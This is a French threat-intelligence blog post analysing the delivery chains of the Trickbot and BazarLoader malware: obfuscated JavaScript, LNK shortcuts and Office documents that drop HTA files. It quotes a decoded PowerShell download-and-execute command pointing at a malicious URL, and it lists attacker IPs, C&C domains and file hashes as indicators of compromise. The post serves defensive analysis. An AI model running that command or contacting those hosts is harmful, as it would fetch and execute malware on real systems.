L’équipe de recherche du Zscaler ThreatLabZ surveille quotidiennement des milliers de fichiers afin de repérer les menaces nouvelles et persistantes, dont l’un des trojans bancaires les plus importants de ces cinq dernières années : Trickbot. Trickbot est actif depuis 2016 et est lié à un grand nombre de campagnes malveillantes impliquant le minage de bitcoins et le vol d’informations bancaires, d’informations personnelles identifiables (PII) et d’identifiants. BazarLoader est un dérivé de ce trojan, développé par les mêmes auteurs. Tous deux sont particulièrement dangereux car ils sont facilement modifiables et peuvent délivrer des payloads en plusieurs étapes, mais aussi prendre le contrôle total d’un ordinateur.
ThreatLabz a découvert que les opérateurs de Trickbot utilisaient de nouvelles approches pour diffuser des payloads lors de récentes campagnes d’attaque. Les échantillons de programmes malveillants que nous avons analysés étaient bien conçus et fortement obscurcis, et capables d'éviter les sandbox. Dans cet article de blog, nous présentons une analyse des différents vecteurs de diffusion exploités par Trickbot et BazarLoader.
Points clés :
1. Les scripts et les fichiers LNK ont introduit des techniques d’évasion pour renforcer les menaces du programme malveillant.
2. Un obscurcissement multicouche permet d’empêcher l’analyse des fichiers JS et LNK.
3. Une pièce jointe Office dépose un fichier HTA contenant des extraits de fonctions HTML et javascript.
4. Des domaines récemment enregistrés sont utilisés pour transmettre les menaces.
Trickbot élargit sa gamme de types de fichiers pour diffuser ses programmes malveillants
Lors des campagnes précédentes, les payloads de Trickbot étaient généralement déposés sous forme de pièces jointes malveillantes attachées à des fichiers Microsoft Office. Le mois dernier, nous avons constaté que les programmes malveillants ont également utilisé un grand volume de fichiers javascript, ainsi qu’une série d’autres formats de fichiers, comme illustré dans les graphiques suivants :
Fig. 1 : Trickbot bloqué dans le Zscaler Cloud Sandbox
Fig. 2 : BazarLoader bloqué dans le Zscaler Cloud Sandbox
Dans cet article, nous allons parcourir la chaîne d’attaque de plusieurs vecteurs de diffusion, notamment :
- La diffusion de Trickbot par le biais de fichiers de script
- La diffusion de Trickbot par le biais de fichiers LNK
- La diffusion de BazarLoader par le biais de pièces jointes Office
La diffusion de Trickbot par le biais de fichiers de script
Trickbot s’infiltre par le biais d’e-mails de spam contenant des pièces jointes malveillantes en javascript, comme dans l’exemple suivant :
Fig. 3 : Pièce jointe d’un e-mail de spam
Dans ce cas, le fichier Javascript [5B606A5495A55F2BD8559778A620F21B] comporte trois couches d’obscurcissement qui sont principalement utilisées pour échapper et contourner les environnements de sandbox. Ci-dessous, un instantané de la première couche obscurcie :
Fig. 4 : Première couche d’obscurcissement en javascript
Les auteurs de programmes malveillants font non seulement tout pour obscurcir fortement les fichiers javascript, mais ils ont également ajouté de grandes quantités de code parasite à la fin pour compliquer le débogage. Il s’agit de chaînes de caractères obscurcies générées de manière aléatoire qui ne jouent aucun rôle dans le code malveillant.
Fig5 : Code parasite destiné à compliquer l’analyse
À l’aide de la fonction eval(), nous avons désobscurci la deuxième couche dans laquelle le code malveillant est incorporé avec de nouveau du code parasite. Après avoir éliminé cette couche de code parasite, nous avons à nouveau utilisé la fonction eval() pour récupérer la dernière couche de code. Nous pouvons voir que les auteurs de Trickbot ont utilisé la méthode setTimeout(), qui évalue une expression après 967 millisecondes pour retarder l’exécution dans le sandbox. Cela permet au programme malveillant d’échapper aux environnements de sandbox.
Fig. 6 : Deuxième couche d’obscurcissement en javascript
Dans l’instantané ci-dessus, nous pouvons voir la méthode de remplacement mise en œuvre dans le code où les chaînes “"hdBDJ" et “tSJVh” sont retirées des variables “YHPhEFtKjqbCmAZ” et “kVYJOrLSqvdAWnaGTX” respectivement pour obtenir la chaîne finale.
Fig. 7 : Couche finale
Le Javascript malveillant exécute cmd.exe en tant que processus enfant, puis cmd.exe exécute powershell.exe pour télécharger Trickbot en tant que payload.
Flux d’exécution :
Wscript.exe->cmd.exe->powershell.exe
Powershell.exe est intégré avec une commande encodée en base64 et après décodage, la commande suivante est :
IEX (New-Object Net.Webclient).downloadstring(https://jolantagraban{.}pl/log/57843441668980/dll/assistant{.}php")
Fig. 8 : Détection par Zscaler Cloud Sandbox du téléchargeur Javascript
La diffusion de Trickbot par le biais de fichiers LNK
Les extensions Windows LNK (LNK) sont généralement considérées par les utilisateurs comme des raccourcis, et nous avons fréquemment constaté que les cybercriminels utilisent les fichiers LNK pour télécharger des fichiers malveillants tels que Trickbot. Trickbot dissimule le code dans la section de l’argument sous la section des propriétés du fichier LNK. L’auteur du programme malveillant a ajouté des espaces supplémentaires dans le code malveillant pour tenter de compliquer le débogage du code par les chercheurs. Nous avons déjà observé cette technique dans la campagne Emotet utilisant des pièces jointes Office malveillantes en 2018.
Fig. 9 : Code intégré dans la section des propriétés de LNK.
Téléchargement de Trickbot :
- LNK télécharge le fichier depuis 45.148.121.227/images/readytunes.png en utilisant un argument silencieux afin que l’utilisateur ne puisse voir un message d’erreur ou une action de progression.
- Après le téléchargement, le programme malveillant enregistre le fichier dans le dossier Temp sous le nom application1_form.pdf.
- Enfin, le fichier est renommé de application1_form.pdf en support.exe et exécuté. Ici, support.exe est Trickbot.
Fig. 10 : Détection du téléchargeur LNK par Zscaler Cloud Sandbox
La diffusion de BazarLoader par le biais de pièces jointes Office
Il s’agit de l’une des autres techniques utilisées par TA551 APT également connu sous le nom de Shathak. Des documents Office malveillants déposent le fichier HTA dans “C\ProgramData\sda.HTA”. Ce fichier HTA contient du HTML et du vbscript conçus pour récupérer une DLL malveillante afin d’infecter un hôte Windows vulnérable avec BazarLoader.
Une fois activé par macro, le processus mshta.exe s’exécute pour télécharger un payload. Cette campagne a déjà été observée dans le passé en train de diffuser BazarLoader et Trickbot.
Fig. 11 : Chaîne d’attaque d’un fichier DOC pour télécharger BazarLoader
Les données codées en Base64 sont implantées dans la balise HTML
Fig. 12 : Fichier HTA déposé, données malveillantes encodées en base64 sous la section HTML Ci-dessous l’instantané du décodage des données en base64 dans lequel nous pouvons voir qu’il télécharge le payload et l’enregistre en tant que friendIFriend.jpg sur la machine de la victime : Fig. 13 : Fichier HTA déposé, données Base64 décodées Mise en réseau : C&C pour télécharger BazarLoader Fig14 : Envoi d’une requête pour télécharger BazarLoader Nous avons également observé des domaines nouvellement enregistrés (NRD) spécialement créés pour distribuer ces payloads, à l’aide d’un stealer livré par le biais d’un e-mail de spam et associé à une pièce jointe Microsoft Office malveillante. Fig. 15 : Domaine nouvellement enregistré Fig. 16 : Détection par Zscaler Cloud Sandbox d’un téléchargeur de fichiers Office malveillants MITRE ATT&CK T5190 Collecte d’informations sur le réseau de la victime T1189 Compromis furtif T1082 Découverte d’informations sur le système T1140 Supprimer l'obscurcissement/Décoder des fichiers ou des informations T1564 Cacher des artefacts T1027 Fichiers ou informations obscurcis Indicateurs de compromission MD5 Nom du fichier Type de fichier B79AA1E30CD460B573114793CABDAFEB 100.js JS AB0BC0DDAB99FD245C8808D2984541FB 4821.js JS 192D054C18EB592E85EBF6DE4334FA4D 4014.js JS 21064644ED167754CF3B0C853C056F54 7776.js JS 3B71E166590CD12D6254F7F8BB497F5A 7770.js JS 5B606A5495A55F2BD8559778A620F21B 68.js JS BA89D7FC5C4A30868EA060D526DBCF56 Subcontractor Reviews (Sep 2021).lnk LNK MD5 Nom du fichier Type de fichier C7298C4B0AF3279942B2FF630999E746 a087650f65f087341d07ea07aa89531624ad8c1671bc17751d3986e503bfb76.bin.sample.gz DOC 3F06A786F1D4EA3402A3A23E61279931 - DOC URL associées : jolantagraban.pl/log/57843441668980/dll/assistant.php blomsterhuset-villaflora.dk/assistant.php d15k2d11r6t6rl.cloudfront.net/public/users/beefree C&C : Domaine Charge utile jolantagraban.pl Trickbot glareestradad.com BazarLoader francopublicg.com BazarLoader



